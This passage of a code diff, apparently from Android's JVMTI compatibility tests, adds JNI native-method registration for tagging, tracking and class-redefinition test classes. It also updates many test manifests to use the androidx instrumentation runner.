+void register_android_jvmti_cts_JvmtiRedefineClassesTest(jvmtiEnv* jenv, JNIEnv* env) {
+  ScopedLocalRef<jclass> klass(env, GetClass(jenv, env,
+          "android/jvmti/cts/JvmtiRedefineClassesTest", nullptr));
+  if (klass.get() == nullptr) {
+    env->ExceptionClear();
+    return;
+  }
+
+  env->RegisterNatives(klass.get(), gMethods, sizeof(gMethods) / sizeof(JNINativeMethod));
+  if (env->ExceptionCheck()) {
+    env->ExceptionClear();
+    LOG(ERROR) << "Could not register natives for JvmtiRedefineClassesTest class";
+  }
+}
+
 }  // namespace art
 
diff --git a/hostsidetests/jvmti/base/jni/tagging.cpp b/hostsidetests/jvmti/base/jni/tagging.cpp
index 372805b..35d83d7 100644
--- a/hostsidetests/jvmti/base/jni/tagging.cpp
+++ b/hostsidetests/jvmti/base/jni/tagging.cpp
@@ -18,6 +18,7 @@
 
 #include "android-base/logging.h"
 #include "android-base/macros.h"
+#include "jni_binder.h"
 #include "jni_helper.h"
 #include "jvmti_helper.h"
 #include "jvmti.h"
@@ -127,5 +128,48 @@
   return CreateObjectArray(env, 3, "java/lang/Object", callback);
 }
 
+static JNINativeMethod gMethodsForMain[] = {
+  { "setTag", "(Ljava/lang/Object;J)V",
+          (void*)Java_android_jvmti_cts_JniBindings_setTag },
+
+  { "getTag", "(Ljava/lang/Object;)J",
+          (void*)Java_android_jvmti_cts_JniBindings_getTag },
+};
+
+void register_art_Main(jvmtiEnv* jenv, JNIEnv* env) {
+  ScopedLocalRef<jclass> klass(env, GetClass(jenv, env, "art/Main", nullptr));
+  if (klass.get() == nullptr) {
+    env->ExceptionClear();
+    return;
+  }
+
+  env->RegisterNatives(klass.get(), gMethodsForMain,
+          sizeof(gMethodsForMain) / sizeof(JNINativeMethod));
+  if (env->ExceptionCheck()) {
+    env->ExceptionClear();
+    LOG(ERROR) << "Could not register natives for Main class";
+  }
+}
+
+static JNINativeMethod gMethods[] = {
+  { "getTaggedObjects", "([JZZ)[Ljava/lang/Object;",
+          (void*)Java_android_jvmti_cts_JvmtiTaggingTest_getTaggedObjects },
+};
+
+void register_android_jvmti_cts_JvmtiTaggingTest(jvmtiEnv* jenv, JNIEnv* env) {
+  ScopedLocalRef<jclass> klass(env, GetClass(jenv, env,
+          "android/jvmti/cts/JvmtiTaggingTest", nullptr));
+  if (klass.get() == nullptr) {
+    env->ExceptionClear();
+    return;
+  }
+
+  env->RegisterNatives(klass.get(), gMethods, sizeof(gMethods) / sizeof(JNINativeMethod));
+  if (env->ExceptionCheck()) {
+    env->ExceptionClear();
+    LOG(ERROR) << "Could not register natives for JvmtiTaggingTest class";
+  }
+}
+
 }  // namespace art
 
diff --git a/hostsidetests/jvmti/base/jni/tracking.cpp b/hostsidetests/jvmti/base/jni/tracking.cpp
index a07d653..425fd63 100644
--- a/hostsidetests/jvmti/base/jni/tracking.cpp
+++ b/hostsidetests/jvmti/base/jni/tracking.cpp
@@ -21,6 +21,7 @@
 
 #include "android-base/logging.h"
 #include "android-base/stringprintf.h"
+#include "jni_binder.h"
 #include "jvmti_helper.h"
 #include "scoped_local_ref.h"
 #include "scoped_utf_chars.h"
@@ -93,4 +94,30 @@
   return env->NewStringUTF(result.c_str());
 }
 
+static JNINativeMethod gMethods[] = {
+  { "setupObjectAllocCallback", "(Z)V",
+          (void*)Java_android_jvmti_cts_JvmtiTrackingTest_setupObjectAllocCallback },
+
+  { "enableAllocationTracking", "(Ljava/lang/Thread;Z)V",
+          (void*)Java_android_jvmti_cts_JvmtiTrackingTest_enableAllocationTracking },
+
+  { "getAndResetAllocationTrackingString", "()Ljava/lang/String;",
+          (void*)Java_android_jvmti_cts_JvmtiTrackingTest_getAndResetAllocationTrackingString },
+};
+
+void register_android_jvmti_cts_JvmtiTrackingTest(jvmtiEnv* jenv, JNIEnv* env) {
+  ScopedLocalRef<jclass> klass(env, GetClass(jenv, env,
+          "android/jvmti/cts/JvmtiTrackingTest", nullptr));
+  if (klass.get() == nullptr) {
+    env->ExceptionClear();
+    return;
+  }
+
+  env->RegisterNatives(klass.get(), gMethods, sizeof(gMethods) / sizeof(JNINativeMethod));
+  if (env->ExceptionCheck()) {
+    env->ExceptionClear();
+    LOG(ERROR) << "Could not register natives for JvmtiTrackingTest class";
+  }
+}
+
 }  // namespace art
diff --git a/hostsidetests/jvmti/redefining/app/AndroidManifest.xml b/hostsidetests/jvmti/redefining/app/AndroidManifest.xml
index 4299b5e..33b22c3 100755
--- a/hostsidetests/jvmti/redefining/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/redefining/app/AndroidManifest.xml
@@ -26,7 +26,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.redefine" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1900/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1900/app/AndroidManifest.xml
index ef26e2a..8b06c6d 100644
--- a/hostsidetests/jvmti/run-tests/test-1900/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1900/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_1900" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1901/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1901/app/AndroidManifest.xml
index a92dff1..9997f80 100644
--- a/hostsidetests/jvmti/run-tests/test-1901/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1901/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_1901" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1902/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1902/app/AndroidManifest.xml
index eb40444..26a5320 100644
--- a/hostsidetests/jvmti/run-tests/test-1902/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1902/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_1902" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1903/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1903/app/AndroidManifest.xml
index b810728..0855b59 100644
--- a/hostsidetests/jvmti/run-tests/test-1903/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1903/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_1903" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1904/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1904/app/AndroidManifest.xml
index d3780f6..824445c6 100644
--- a/hostsidetests/jvmti/run-tests/test-1904/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1904/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_1904" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1906/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1906/app/AndroidManifest.xml
index 120a603..4da7d10 100644
--- a/hostsidetests/jvmti/run-tests/test-1906/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1906/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_1906" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1907/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1907/app/AndroidManifest.xml
index b939d8e..03d9372 100644
--- a/hostsidetests/jvmti/run-tests/test-1907/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1907/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_1907" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1908/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1908/app/AndroidManifest.xml
index 89b460d..01d9952 100644
--- a/hostsidetests/jvmti/run-tests/test-1908/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1908/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_1908" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1909/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1909/app/AndroidManifest.xml
index 99cc928..d5041be 100644
--- a/hostsidetests/jvmti/run-tests/test-1909/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1909/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_1909" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1910/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1910/app/AndroidManifest.xml
index 1c27327..4f2241e 100644
--- a/hostsidetests/jvmti/run-tests/test-1910/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1910/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_1910" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1911/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1911/app/AndroidManifest.xml
index 241f87d..a410a8a 100644
--- a/hostsidetests/jvmti/run-tests/test-1911/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1911/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_1911" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1912/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1912/app/AndroidManifest.xml
index 6a922db..096209f 100644
--- a/hostsidetests/jvmti/run-tests/test-1912/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1912/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_1912" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1913/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1913/app/AndroidManifest.xml
index 18759ae..226c457 100644
--- a/hostsidetests/jvmti/run-tests/test-1913/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1913/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_1913" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1914/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1914/app/AndroidManifest.xml
index f684c4e..86de3c0 100644
--- a/hostsidetests/jvmti/run-tests/test-1914/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1914/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_1914" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1915/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1915/app/AndroidManifest.xml
index 1212553..df7395c 100644
--- a/hostsidetests/jvmti/run-tests/test-1915/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1915/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_1915" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1916/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1916/app/AndroidManifest.xml
index 9aacae5..dd3d538 100644
--- a/hostsidetests/jvmti/run-tests/test-1916/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1916/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_1916" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1917/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1917/app/AndroidManifest.xml
index 6bc75d6..7e9b6c8 100644
--- a/hostsidetests/jvmti/run-tests/test-1917/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1917/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_1917" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1920/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1920/app/AndroidManifest.xml
index e0721f4..9667aad 100644
--- a/hostsidetests/jvmti/run-tests/test-1920/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1920/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_1920" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1921/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1921/app/AndroidManifest.xml
index f49e52a..c26c45b 100644
--- a/hostsidetests/jvmti/run-tests/test-1921/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1921/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_1921" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1922/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1922/app/AndroidManifest.xml
index ed425d2..25fac4b 100644
--- a/hostsidetests/jvmti/run-tests/test-1922/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1922/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_1922" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1923/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1923/app/AndroidManifest.xml
index 00feead..5e3739d 100644
--- a/hostsidetests/jvmti/run-tests/test-1923/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1923/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_1923" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1924/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1924/app/AndroidManifest.xml
index b4c0563..4388209 100644
--- a/hostsidetests/jvmti/run-tests/test-1924/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1924/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_1924" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1925/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1925/app/AndroidManifest.xml
index e8fbe57..b3fab4f 100644
--- a/hostsidetests/jvmti/run-tests/test-1925/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1925/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_1925" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1926/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1926/app/AndroidManifest.xml
index 4a034c2..ee5da05 100644
--- a/hostsidetests/jvmti/run-tests/test-1926/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1926/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_1926" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1927/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1927/app/AndroidManifest.xml
index 35e619b..c019202 100644
--- a/hostsidetests/jvmti/run-tests/test-1927/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1927/app/AndroidManifest.xml
@@ -28,7 +28,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_1927" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1928/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1928/app/AndroidManifest.xml
index 5e75ed0..46ef126 100644
--- a/hostsidetests/jvmti/run-tests/test-1928/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1928/app/AndroidManifest.xml
@@ -28,7 +28,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_1928" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1930/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1930/app/AndroidManifest.xml
index 89fe2b3..fee588a 100644
--- a/hostsidetests/jvmti/run-tests/test-1930/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1930/app/AndroidManifest.xml
@@ -28,7 +28,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_1930" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1931/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1931/app/AndroidManifest.xml
index 6372cd4..3f8fc26 100644
--- a/hostsidetests/jvmti/run-tests/test-1931/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1931/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_1931" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1932/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1932/app/AndroidManifest.xml
index d22c20d..e51293c 100644
--- a/hostsidetests/jvmti/run-tests/test-1932/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1932/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_1932" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1933/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1933/app/AndroidManifest.xml
index 7d0fcc6..0e30bf4 100644
--- a/hostsidetests/jvmti/run-tests/test-1933/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1933/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_1933" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1934/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1934/app/AndroidManifest.xml
index a7b005b..2eba450 100644
--- a/hostsidetests/jvmti/run-tests/test-1934/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1934/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_1934" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1936/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1936/app/AndroidManifest.xml
index 0241071..57cf5cd 100644
--- a/hostsidetests/jvmti/run-tests/test-1936/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1936/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_1936" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1937/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1937/app/AndroidManifest.xml
index 795e3b2..7f2c98c 100644
--- a/hostsidetests/jvmti/run-tests/test-1937/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1937/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_1937" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1939/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1939/app/AndroidManifest.xml
index 3c5814d..3b6af0e 100644
--- a/hostsidetests/jvmti/run-tests/test-1939/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1939/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_1939" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1941/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1941/app/AndroidManifest.xml
index f80234a..782e74f 100644
--- a/hostsidetests/jvmti/run-tests/test-1941/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1941/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_1941" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1942/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1942/app/AndroidManifest.xml
index 14cd1c7..9921110 100644
--- a/hostsidetests/jvmti/run-tests/test-1942/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1942/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_1942" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-1943/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1943/app/AndroidManifest.xml
index 79efdd5..a0c1182 100644
--- a/hostsidetests/jvmti/run-tests/test-1943/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1943/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_1943" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-902/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-902/app/AndroidManifest.xml
index 6a2edd6..b16bceb 100644
--- a/hostsidetests/jvmti/run-tests/test-902/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-902/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_902" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-903/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-903/app/AndroidManifest.xml
index 4823c99..8dabdd0 100644
